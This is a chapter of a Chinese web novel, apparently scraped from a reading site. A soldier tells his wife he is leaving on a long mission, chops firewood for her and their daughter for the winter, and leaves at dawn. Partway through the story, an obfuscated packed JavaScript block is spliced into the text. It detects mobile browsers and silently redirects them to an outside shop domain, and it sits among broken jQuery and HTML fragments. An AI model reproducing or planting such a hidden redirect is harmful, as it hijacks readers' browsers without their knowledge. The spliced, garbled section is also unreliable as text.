回到家，陈怀瑾手中的糖葫芦已经不成样子，红彤彤的糖衣躺下来，沾了一手，袖口也蹭上几道黏腻印子。
方惠兰打了盆热水，等她吃完最后两颗，又拿着毛巾仔细替陈怀瑾擦干净小手和小脸。
厨房里传来陈玉树炒菜的声响，锅铲碰着铁锅，叮叮当当的。
陈怀瑾洗完脸，甩着两只还有点湿湿的手，在屋子里转了两圈，才乖乖坐在桌前。
饭做好，陈玉树端着从厨房出来。
方惠兰摆好碗筷，坐下来的时候，注意到陈玉树的目光落在自己脸上，短暂停留了几秒，又移开。
“过几天要去出任务。”他说，语气平常：“可能会有点久。”
方惠兰的筷子顿了一下。
他这几年出任务的次数不少，但每次时间不会太久。
陈玉树说有点久，是多久？
“要多久？”方惠兰不禁问他，声音跟着低了下来，“会有危险吗？”
“具体还不清楚。”陈玉树工作要保密，只能说这么多。
他低下头，夹起筷鱼块，挑着鱼肉中的刺。
“哦，”方惠兰说：“那你注意安全。”
她夹起一筷子菜，放进碗里，却没有动。
给陈怀瑾的蛋羹里有葱花，但方惠兰是从来不吃的，陈玉树默了默，拿起筷子准备挑。
一旁碗里被夹走蛋羹的陈怀瑾，抿起唇看着方惠兰，在陈玉树伸去筷子时，先一步挑走了。
陈怀瑾冲陈玉树挤眼。
方惠兰喉咙像被什么堵了一下，也没有了胃口，她放下筷子，陈怀瑾也飞快地放下筷子，“我也不吃了。”
陈怀瑾眨着眼睛，有意无意地看向方惠兰几乎没动的饭，上面还有一块未动的鱼肉。
方惠兰没说什么，牵着陈怀瑾进了东屋。
上了床，陈怀瑾自觉地拿着小被子盖好躺着。
方惠兰在她旁边躺下，搂着她。手掌搭在陈怀瑾肩上，指尖一下一下轻敲着。
陈怀瑾绻在她怀里，像一只小猫，找了个舒服的姿势，便不再动了。
方惠兰听着她呼吸渐渐平稳下来，睫毛安安静静地垂着，小脸埋在枕头里，睡得很沉。
她手指还在她肩上敲着，一下，两下，在数着什么。
方惠兰目光落在女儿脸上，眼尾轻扫过炕沿边刚落下的那道影子。
“睡着了？”陈玉树在炕沿边坐下来，声音压得很低。
“嗯。”
方惠兰侧躺着，手从陈怀瑾肩上收回，拢了拢小被子，目光落在她卷翘的长睫上，已经熟睡了，呼吸均匀绵长。
屋里安静了一会儿。
陈玉树坐在炕沿上，没有躺下来，也没有说话。
他的目光落在方惠兰的侧脸上，看到她微微抿着的唇，看到她垂下的睫毛在灯光下投出的一小片阴影。
“要去多久？”方惠兰忽然开口，声音很轻，像是怕吵醒陈怀瑾。
陈玉树沉默了几秒：“具体不知道，下雪前应该能赶回来。”
现在八月底，到十一月，还有两个月。
方惠兰不想说话了。
陈玉树又说：“我……。”
他张了张唇，那个我说出来后，自己也不知道要说什么。
方惠兰翻过身，眸光落在他身上，轻声道：“要说什么。”
陈玉树微侧脸，眼眸垂下，细看枕上的人。
过了有一分钟。
他摇摇头，“睡吧。”
“真没意思。”
方惠兰轻啧一声，又翻了个身，背对着他。
窗帘拉着，屋里暗下去。院子里的光从堂屋里透进来，又在地上铺上一层浅淡的光。
陈玉树躺下来，隔着陈怀瑾，隔着被子，没有靠过去。
方惠兰的声音从墙那边传过来，闷闷的：“早点回来。”
“好。”
“注意安全。”
“好。”
方惠兰没再说话了。
陈玉树躺在炕沿边，听着她的呼吸声，和陈怀瑾的呼吸声，一重一轻，交织在一起。
他睁着眼睛看着房粱，过了很久，才慢慢闭上了。
陈玉树出发前那几天，两人之间有种心照不宣的默契，谁也没再提过他要出去任务的事。
可能是是怕下雪时，他还没回来，院子里劈了很多柴，码得整整齐齐。
方惠兰见他劈柴，冷哼一声进了屋。
片刻后，陈怀瑾端着一杯水出来，“爸爸，渴。”
陈玉怀取下脖间毛巾，擦擦额头的汗。接过水一口喝完。他蹲下身子，“冬冬真乖，但下次不能自己倒水哦。”
陈怀瑾点头，她觑了眼堂屋，小声说：“妈妈给的。说，爸爸渴，冬冬帮忙。”
陈玉树捏着空杯子，蹲在原地没有起来。
他顺着陈怀瑾刚才的目光往堂屋去看，连方惠兰衣角也没看到。
陈玉树低下头，看着陈怀瑾扬起的小脸，轻轻捏了捏她的脸颊，“那爸爸谢谢冬冬和妈妈。”
陈怀瑾点头，又摇头，摆手说：“是一家人，用不着客气。”
陈玉树嘴角弯了一下，起身时，把那点笑意压在唇角。
他拿着被子进屋，方惠兰人在东屋。
陈玉树靠在门框上，轻咳一声，说：“柴我劈好了，天冷了就用上，别冷到你和孩子。”
“哦，知道了。”方惠兰手上叠着衣服，头也没抬。
她把衣服叠完，放进柜子里，发现陈玉树还站在那没走。
“还有什么事？”方惠兰皱着眉问。
陈玉树笑了一下，没说话，就那么看着她。
“真是有毛病。”
方惠兰转过身，把柜门关上，手在柜门上停了一瞬，才收回。
陈玉树离开那天，起的很早，他压着动静，怕吵着人。
但方惠兰还是醒了，她躺在床上，旁边是窸窸窣窣穿衣服起床声音，门被很轻地打开又合上。
方惠兰闭眼听了一会儿，掀开被子坐起来，给陈怀瑾掖好被角，披着外衣走了出去。
厨房里亮着灯，灶膛在烧着。
火光从炉口透出来，映着陈玉树弯腰添柴的背影，他背对着门口，肩背绷得紧，动作很轻很慢，怕弄出太大的响动。
方惠兰站在堂屋中，目光落在他烧柴的背影，又移开。
“这么早就走？”她往里走，声音带着刚睡醒的哑。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731853|206015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
陈玉树捏着柴的手收紧，回头看她，火光映得他眼底有跳动的光，“怎么不再睡会儿。”
方惠兰没接话，抬眼瞪着他。
灶膛中柴火烧着，橘红色的火光映在陈玉树冷硬的侧脸上，把他的眉眼照的柔和了几分。
那火烧的很旺，烧的陈玉树眸底泛起一层薄薄的水光，他朝方惠兰伸了伸手，声音低下去：“过来。”
方惠兰没犹豫，在他身旁的矮板凳坐下。
下一瞬，陈玉树的头靠在她肩膀上，很轻，并没压下去。他靠着她，嗓音又低又沉，“我会很快回来的，你要照顾好自己，有事去找勤姐和小李。”
方惠兰嗯了一声，难得乖巧地顺从他。
“冬冬。”陈玉树顿了一下，才开口：“虽然她听话，你一个人照顾她要很辛苦。我已经给妈写了信，要她帮忙再找亲戚过来。”
“等你回来再说。”方惠兰偏头瞥他一眼，下巴擦过他的头发，“冬冬听见你的这话，肯定要生气。再说，我自己的女儿，照顾她也不觉得辛苦。”
她不想让前几天陈怀瑾哭闹着要找赵姨的一幕再换个人重现。
陈怀瑾闹了有一周，夜里还会哭着醒。再来一个帮忙，中途再走，还是算了。况且，孩子也不小了，她应该可以照顾好。
陈玉树仰起头，看着她，火光在他眼底晃了晃，他嘴角勾了一下，极轻地叹着气，那意思，听着是很不舍。
“等我回来。”他说。
方惠兰纠正他，“是平安归家。”
“那等我平安归家。”
陈玉树直起身，最后看了她一眼，站起身，拎着东西朝外走。
号角声激昂响起。
方惠兰坐在灶膛前，把已经塞在里面的柴，又用火钳往里塞了点。
院门开了，又关上。
陈玉树离开了。
方惠兰没出去送，锅里的水咕嘟嘟滚开。灶膛里的火旺着，噼啪响了一声，火苗跳了跳，映在她脸上，明晃晃地水痕。
她坐了一会儿，才站起身，走到堂屋。
门后角落摆着一排柴，够下雪时，她用上一段时间，不用去院子里搬。
厨房里也同样，有很多柴。
方惠兰看了几秒，从胸腔那呼出一口气，那口气郁在那，怎么也呼不出。
炕上，陈怀瑾睡的香甜，手臂和身子漏在外面，抱着她的枕头。
方惠兰走过去，把被子往上拉，替她盖好，在旁边重新躺下去。
方惠兰闭上眼，肩膀上是陈玉树刚才靠过的位置，还能感受到一点余温。
一旁躺着的陈怀瑾像是感应到她回来，移着脑袋靠近她，把脸贴在她肩膀旁，蹭了蹭。
那点余温被陈怀瑾热乎的小脸代替。
方惠兰拢了拢陈怀瑾脸上的碎发，指尖触碰到她温热的脸颊，软软的，带着孩子特有的柔软气息。
她把手收回，抚上胸口，那里此刻有些闷，说不出清楚的酸胀。
陈怀瑾睡得很沉，睫毛安安静静地垂着，小嘴微微张开一点，呼吸细细的。她在梦里不知道梦到什么，嘴角弯了一下，像是笑了。
方惠兰看着她，那点闷在胸口的酸胀慢慢散了些，才闭上了眼。